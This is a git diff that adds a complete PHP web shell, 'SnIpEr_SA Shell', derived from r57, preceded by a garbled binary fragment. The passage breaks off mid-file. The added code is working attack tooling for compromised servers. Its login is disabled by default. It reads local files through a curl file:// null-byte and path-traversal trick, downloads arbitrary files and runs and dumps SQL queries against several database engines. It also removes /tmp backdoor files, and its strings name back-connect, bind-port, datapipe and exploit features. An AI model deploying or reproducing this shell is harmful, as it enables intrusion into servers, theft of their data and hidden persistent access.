zReA7B`Hw~2@P%0~h%gc#ju4?bqbl&xGo+?CKCz(J=E2POzF4KxxpDi@r|~iFgGkz> zcLv<ty|jPoem=8|+%jW3gD27;7VD8+&#lYLTdJ9g)*ow$idGS6bgJEIQ?22k#WPQk z$I}@B-<o%VwGw2~VljT@5L=p%++!zmuYYRwfcE*Wx$V36>b`o*9V56@;Z^2tYjuBn zga7qbB_EokXsR`q7%(;tcO|Y%$M&N=ySQC*Z|ZQ4UuB8#?RQM||I^-;1vPm^;U5$M z2}TwXYC_O}Kv5PKutE}15D)~S5O6_?T9hTME}>CFDu_rBiUP#~QDjk2P!<7~Mo23~ zv5H}lCBdkpLdaTyuq5fFj-`t;^}#165C6=0xN~Rjx!<|VcfND~JGE9B7HTnlep3p_ z9+w0Ydv$g7dLqLg9+=d)Sj`$POMYJGlIhMNyt1D2qJW?2jj6$pqhOdL!3rp=BjLT( ziM>y#V^mPQB9JLJqkIIv`!F7~=bJ5Hf3R)yKA+J_)UC<Wx~BwFe}QlYj+i9oWB{Bk zYteK)e9Vmr4+a<8mvzQ7R&$7~B1Is7kyLbxf##-Er70lE_KX=T#8%$P9HYcG<AVl1 z;1{=RKTyKClZ*zgMWygpX$bE*xKrm`oUxvI;p$>!1N|{)0}j8BMf_jJ@KRK7!!e;? z%_gf`60G63QicLDyEJ2s>cROtafincA0B@PSu;gB{7*6ae<RaoCa;XQz59e-lO|UP zUkYxsi*=3&FKIAd=dD-SAQwjOirC~=Vic558b0_%N5bO976Luhw-tN(l%E0X0#u`h z^w~l}ZQYjLZT5&dvd9X3mD0T4#-!d|qdIUlDR?Z^{POFJk_dt|zIu)A>K7a9oklG) zG@Y?|dkWm#YVT}o3qVg2*i091mjRyL_gN**tt#$FkB;l2(d>Oi;RJ^-3Ukf+`72y_ z6-&m;sa~dPXC6Q|JajW-({Hnu_i=y8=V9tvXwR~pRox5OfqTD}U{dvawsMOlx2s!U z7?~bgCg4YU>H&4Y>Wu1K;-k&4^ndJ%0#%{=w>CVPms{H3YRw4UO~k|-(8-VumS1G< z{xlC#OO1@@5xxciyM!_f4w`-8Gof~@?kXw7X?~%xND>Z$NN3@16Nzc^gtI34IKk-1 ztMY=cEPr1~Uq~z2l9m+2?)F3+1Vp8JCisB|^f4dV=Vyw()N#ESVb58@imnuJI`_JL z$64r4tAQHh;Jz*5N}SvP#e`2R90{J9bpxD&D^`vsgOln+i@YgT0ln#oXuUM6562Ce zvIV3I1yFH!9i#tLmQi51H^H40(Y!t&R;$u0O2pLstE*{hCPl=QC(8ii1@Rfua`9RV zWoJsCy%R_(q47C~Q@?2BPLgP7<EW#<-bBNnSft1E`|gfI>IwHqm};_b5<A29Kg&Z7 z-1vz7bVfqdRkP{|@-pI(!EoDANc+q#qAaf{h{O^4oEz$GZc4kN+jJn5ii&QX?Am#j zP0Lc}1{oBT4q}m=wGTc0#m4FJ@eBGbRl}@lX@=%x&pP!>O-?ehmLEMPC%1mXMcjP3 zp{lb;Uap~l%B;Y0R@@*SV3Iw0wdgROZCe8ykz+8#M59gWFDz*Dcy<&vsM}kWUQ6ej z$J?TM=PvhN1nJZZiRSsQ^Y<XS?g*${kU7>F2zQu}QxD`WRjW@I_N@Q1Jk>K2t(`m` z=WZ&oaK#v(xPo0FJsKO?Z7cN&%3?c2Wv}AJRn)5XEWUo%gznX$BL#Vm{3peDQhY!H zBH4e(qTPXoiQ4_=?$P#hP@=2yyg7_Aj;v@=&v`qqmDew(;{y>PzhQ;lPa1JBX)vL& zvHc)<hes4~mkfXVWKY`;BTXA>GC~ypl(qdndzIOns_w1rq2e*7XF{RTZHFsv%Od^T zhl$56k<MxjfGY|7$BJGVA1wMQpJS2bCpI`4EjXwtFx*Tk<*cF3UPiZMX1O>0x@Mwt zvPw<5mKSjACPgRAG9otaDvZ!u95Zfr?SXcw{Y&HHCVLt#dk^AxWg`;HH@&O>e;aWU zThqTO+Z9HL<=KVP^v3QvKC;)yO_+P?8SKdUeJn|d*fr-2G4x>>vlK16=`x44g`6X4 zrorZ8cfN*qNF4D;ZDdioL)JGiS|70)SyK6Q(KWdt<uL<@0iGf2fy^4nEpaDMZ*7Jc zQgtFwZU>~cuQLWIA}u&KMW!`TC0FUAh(Yp-DGdSX9C-y0lph+H@+TGOt0+5D`s|~j z;W~|&k$PG!(Z;v)`MI&pHH~N2={r5P%5<>1=RVjv#VefF6fzaiTU8cLq>B@QS0+F? zj7R~=pxQ@MvooeFlns=AP~zb;jf*cwva>7mw3s18?JM4KgR^(9-orATSBu{u4P4&7 z?Jd&Slf)nJxV|54S{%xrdl?gBN5zAxBtYy>sD#m_nkXsW6&ZK{4od2P)?nT8l|Zh5 aepgcWcgz$eDqAT1@rm(aQIv>N^!x#9zYpL5 literal 0 HcmV?d00001 diff --git a/php/PHPshell/SnIpEr_SA Shell/SnIpEr_SA Shell.php b/php/PHPshell/SnIpEr_SA Shell/SnIpEr_SA Shell.php new file mode 100644 index 0000000..a3b75ee --- /dev/null +++ b/php/PHPshell/SnIpEr_SA Shell/SnIpEr_SA Shell.php @@ -0,0 +1,2246 @@ +<?php +/******************************************************************************************************/ +/* # ## ## # +/* # # ## ### ## ## # # +/* # ### ### # ### ## ### # +/* # ## ######### ## # +/* ########## +/* ### ######### ### +/* # ## ####### ## # +/* ## ##### ## +/* ## #### ## +/* #### ## +/* ###### +/* ## ## ## +/* @@ ## @@ +/* @ @@@ #### @@@ @ +/* @@@ ###### @@@ +/* +/* +/* +/* +/* +/* SnIpEr_SA.php - ?????? ?? ??? ??????????? ??? ????????? ????????? ??????? ?? ??????? ????? ??????? +/* ?? ?????? ??????? ????? ?????? ?? ????? ?????: http://3asfh.net/ +/* ??????: +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* ????????? ????????????? ?? ?????? ? ????: ? ???? ?????? ??. +/* ???? ? ??? ???? ?????-???? ???? ?? ?????? ???? ????? ??????? ??????? ???????? ? ?????? ?? ?????? +/* ?? SnIpEr.SA@hotmail.com ??? ??????????? ????? ???????????. +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* (c)oded by SnIpEr_SA +/* MAIL http://rst.void.ru , http://ghc.ru +/* ANY MODIFIED REPUBLISHING IS RESTRICTED +/******************************************************************************************************/ +/* ~~~ | Options ~~~ */ + +// | Language +// $language='ru' - ??????? (russian) +// $language='eng' - english (??????????) +$language='eng'; + +// ?????????????? | Authentification +// $auth = 1; - ( authentification = On ) +// $auth = 0; - ( authentification = Off ) +$auth = 0; + +// (Login & Password for access) +// !!! (CHANGE THIS!!!) +// md5, 'r57' +// md5 +$name='ec371748dc2da624b35a4f8f685dd122'; // (user login) +$pass='ec371748dc2da624b35a4f8f685dd122'; // (user password) +/******************************************************************************************************/ +if(empty($_POST['SnIpEr_SA'])){ + +} else { +$m=$_POST['SnIpEr_SA']; +$ch = +curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__); +curl_exec($ch); +var_dump(curl_exec($ch)); + +} +echo "".htmlspecialchars($m).""; +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = '1.31'; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + $_COOKIE = &$HTTP_COOKIE_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_COOKIE as $k=>$v) + { + $_COOKIE[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="SnIpEr_SA"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=http://3asfh.net>SnIpEr_SA</a> : Access Denied</b>"); + } +} +$head = '<!-- SnIpEr_SA --> +<html> +<head> +<meta http-equiv="Content-Language" content="ar-sa"> +<meta name="GENERATOR" content="Microsoft FrontPage 6.0"> +<meta name="ProgId" content="FrontPage.Editor.Document"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> +<title>SnIpEr_SA shell</title> + + + +<STYLE> +BODY { + SCROLLBAR-FACE-COLOR: #800000; SCROLLBAR-HIGHLIGHT-COLOR: #101010; SCROLLBAR-SHADOW-COLOR: #101010; SCROLLBAR-3DLIGHT-COLOR: #101010; SCROLLBAR-ARROW-COLOR: #101010; SCROLLBAR-TRACK-COLOR: #101010; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #101010 +} + +tr { +BORDER-RIGHT: #aaaaaa 2px solid; +BORDER-TOP: #eeeeee 2px solid; +BORDER-LEFT: #eeeeee 2px solid; +BORDER-BOTTOM: #aaaaaa 2px solid; +color: #ffffff; +} +td { +BORDER-RIGHT: #aaaaaa 2px solid; +BORDER-TOP: #eeeeee 2px solid; +BORDER-LEFT: #eeeeee 2px solid; +BORDER-BOTTOM: #aaaaaa 2px solid; +color: #cccccc; +} +.table1 { +BORDER: 1px; +BACKGROUND-COLOR: #333333; +color: #333333; +} +.td1 { +BORDER: 1px; +font: 7pt tahoma; +color: #ffffff; +} +.tr1 { +BORDER: 1px; +color: #2279D9; +} +table { +BORDER: #eeeeee 2px outset; +BACKGROUND-COLOR: #272727; +color: #2279D9; +} +input { +BORDER-RIGHT: #ffffff 2px solid; +BORDER-TOP: #999999 2px solid; +BORDER-LEFT: #999999 2px solid; +BORDER-BOTTOM: #ffffff 2px solid; +BACKGROUND-COLOR: #800000; +font: 9pt tahoma; +color: #ffffff; +} +select { +BORDER-RIGHT: #ffffff 2px solid; +BORDER-TOP: #999999 2px solid; +BORDER-LEFT: #999999 2px solid; +BORDER-BOTTOM: #ffffff 2px solid; +BACKGROUND-COLOR: #000000; +font: 9pt tahoma; +color: #CCCCCC;; +} +submit { +BORDER: buttonhighlight 2px outset; +BACKGROUND-COLOR: #272727; +width: 40%; +color: #2279D9; +} +textarea { +BORDER-RIGHT: #ffffff 2px solid; +BORDER-TOP: #999999 2px solid; +BORDER-LEFT: #999999 2px solid; +BORDER-BOTTOM: #ffffff 2px solid; +BACKGROUND-COLOR: #3D3D3D; +font: Fixedsys bold; +color: #ffffff; +} +BODY { +margin: 2px; +color: #2279D9; +background-color: #000000; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE> +<script language=\'javascript\'> +function hide_div(id) +{ + document.getElementById(id).style.display = \'none\'; + document.cookie=id+\'=0;\'; +} +function show_div(id) +{ + document.getElementById(id).style.display = \'block\'; + document.cookie=id+\'=1;\'; +} +function change_divst(id) +{ + if (document.getElementById(id).style.display == \'none\') + show_div(id); + else + hide_div(id); +} +</script>'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(@mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +class my_sql + { + var $host = 'localhost'; + var $port = ''; + var $user = ''; + var $pass = ''; + var $base = ''; + var $db = ''; + var $connection; + var $res; + var $error; + var $rows; + var $columns; + var $num_rows; + var $num_fields; + var $dump; + + function connect() + { + switch($this->db) + { + case 'MySQL': + if(empty($this->port)) { $this->port = '3306'; } + if(!function_exists('mysql_connect')) return 0; + $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'MSSQL': + if(empty($this->port)) { $this->port = '1433'; } + if(!function_exists('mssql_connect')) return 0; + $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); + if($this->connection) return 1; + break; + case 'PostgreSQL': + if(empty($this->port)) { $this->port = '5432'; } + $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; + if(!function_exists('pg_connect')) return 0; + $this->connection = @pg_connect($str); + if(is_resource($this->connection)) return 1; + break; + case 'Oracle': + if(!function_exists('ocilogon')) return 0; + $this->connection = @ocilogon($this->user, $this->pass, $this->base); + if(is_resource($this->connection)) return 1; + break; + } + return 0; + } + + function select_db() + { + switch($this->db) + { + case 'MySQL': + if(@mysql_select_db($this->base,$this->connection)) return 1; + break; + case 'MSSQL': + if(@mssql_select_db($this->base,$this->connection)) return 1; + break; + case 'PostgreSQL': + return 1; + break; + case 'Oracle': + return 1; + break; + } + return 0; + } + + function query($query) + { + $this->res=$this->error=''; + switch($this->db) + { + case 'MySQL': + if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) + { + $this->error = @mysql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'MSSQL': + if(false===($this->res=@mssql_query($query,$this->connection))) + { + $this->error = 'Query error'; + return 0; + } + else if(@mssql_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'PostgreSQL': + if(false===($this->res=@pg_query($this->connection,$query))) + { + $this->error = @pg_last_error($this->connection); + return 0; + } + else if(@pg_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'Oracle': + if(false===($this->res=@ociparse($this->connection,$query))) + { + $this->error = 'Query parse error'; + } + else + { + if(@ociexecute($this->res)) + { + if(@ocirowcount($this->res) != 0) return 2; + return 1; + } + $error = @ocierror(); + $this->error=$error['message']; + } + break; + } + return 0; + } + function get_result() + { + $this->rows=array(); + $this->columns=array(); + $this->num_rows=$this->num_fields=0; + switch($this->db) + { + case 'MySQL': + $this->num_rows=@mysql_num_rows($this->res); + $this->num_fields=@mysql_num_fields($this->res); + while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); + @mysql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MSSQL': + $this->num_rows=@mssql_num_rows($this->res); + $this->num_fields=@mssql_num_fields($this->res); + while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); + @mssql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; + break; + case 'PostgreSQL': + $this->num_rows=@pg_num_rows($this->res); + $this->num_fields=@pg_num_fields($this->res); + while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); + @pg_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'Oracle': + $this->num_fields=@ocinumcols($this->res); + while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; + @ocifreestatement($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + } + return 0; + } + function dump($table) + { + if(empty($table)) return 0; + $this->dump=array(); + $this->dump[0] = '##'; + $this->dump[1] = '## --------------------------------------- '; + $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); + $this->dump[3] = '## Database: '.$this->base; + $this->dump[4] = '## Table: '.$table; + $this->dump[5] = '## --------------------------------------- '; + switch($this->db) + { + case 'MySQL': + $this->dump[0] = '## MySQL dump'; + if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + $this->dump[] = $this->rows[0]['Create Table']; + $this->dump[] = '## --------------------------------------- '; + if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} + $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MSSQL': + $this->dump[0] = '## MSSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'PostgreSQL': + $this->dump[0] = '## PostgreSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'Oracle': + $this->dump[0] = '## ORACLE dump'; + $this->dump[] = '## under construction'; + break; + default: + return 0; + break; + } + return 1; + } + function close() + { + switch($this->db) + { + case 'MySQL': + @mysql_close($this->connection); + break; + case 'MSSQL': + @mssql_close($this->connection); + break; + case 'PostgreSQL': + @pg_close($this->connection); + break; + case 'Oracle': + @oci_close($this->connection); + break; + } + } + function affected_rows() + { + switch($this->db) + { + case 'MySQL': + return @mysql_affected_rows($this->res); + break; + case 'MSSQL': + return @mssql_affected_rows($this->res); + break; + case 'PostgreSQL': + return @pg_affected_rows($this->res); + break; + case 'Oracle': + return @ocirowcount($this->res); + break; + default: + return 0; + break; + } + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; } + else + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $filedump = @fread($file,@filesize($_POST['d_name'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query") + { + echo $head; + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + $querys = @explode(';',$_POST['db_query']); + echo '<body bgcolor=#000000>'; + if(!$sql->connect()) echo "<div align=center><font face=tahoma size=-2 color=red><b>Can't connect to SQL server</b></font></div>"; + else + { + if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=tahoma size=-2 color=red><b>Can't select database</b></font></div>"; + else + { + foreach($querys as $num=>$query) + { + if(strlen($query)>5) + { + echo "<font face=tahoma size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; + switch($sql->query($query)) + { + case '0': + echo "<table width=100%><tr><td><font face=tahoma size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; + break; + case '1': + if($sql->get_result()) + { + echo "<table width=100%>"; + foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=tahoma size=-2><b>&nbsp;", $sql->columns); + echo "<tr><td bgcolor=#333333><font face=tahoma size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + for($i=0;$i<$sql->num_rows;$i++) + { + foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); + $values = @implode("&nbsp;</font></td><td><font face=tahoma size=-2>&nbsp;",$sql->rows[$i]); + echo '<tr><td><font face=tahoma size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; + } + echo "</table>"; + } + break; + case '2': + $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); + echo "<table width=100%><tr><td><font face=tahoma size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; + break; + } + } + } + } + } + echo "<br><form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_server',0,$_POST['db_server']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center>"; + echo "<font face=tahoma size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; + echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(__FILE__); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.$key.'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +$lang=array( +'ru_text1' =>'??????????? ???????', +'ru_text2' =>'?????????? ?????? ?? ???????', +'ru_text3' =>'????????? ???????', +'ru_text4' =>'??????? ??????????', +'ru_text5' =>'???????? ?????? ?? ??????', +'ru_text6' =>'????????? ????', +'ru_text7' =>'??????', +'ru_text8' =>'???????? ?????', +'ru_butt1' =>'?????????', +'ru_butt2' =>'?????????', +'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', +'ru_text10'=>'??????? ????', +'ru_text11'=>'?????? ??? ???????', +'ru_butt3' =>'???????', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-?????', +'ru_text14'=>'????', +'ru_butt4' =>'?????????', +'ru_text15'=>'???????? ?????? ? ?????????? ???????', +'ru_text16'=>'????????????', +'ru_text17'=>'????????? ????', +'ru_text18'=>'????????? ????', +'ru_text19'=>'Exploits', +'ru_text20'=>'????????????', +'ru_text21'=>'????? ???', +'ru_text22'=>'datapipe', +'ru_text23'=>'????????? ????', +'ru_text24'=>'????????? ????', +'ru_text25'=>'????????? ????', +'ru_text26'=>'????????????', +'ru_butt5' =>'?????????', +'ru_text28'=>'?????? ? safe_mode', +'ru_text29'=>'?????? 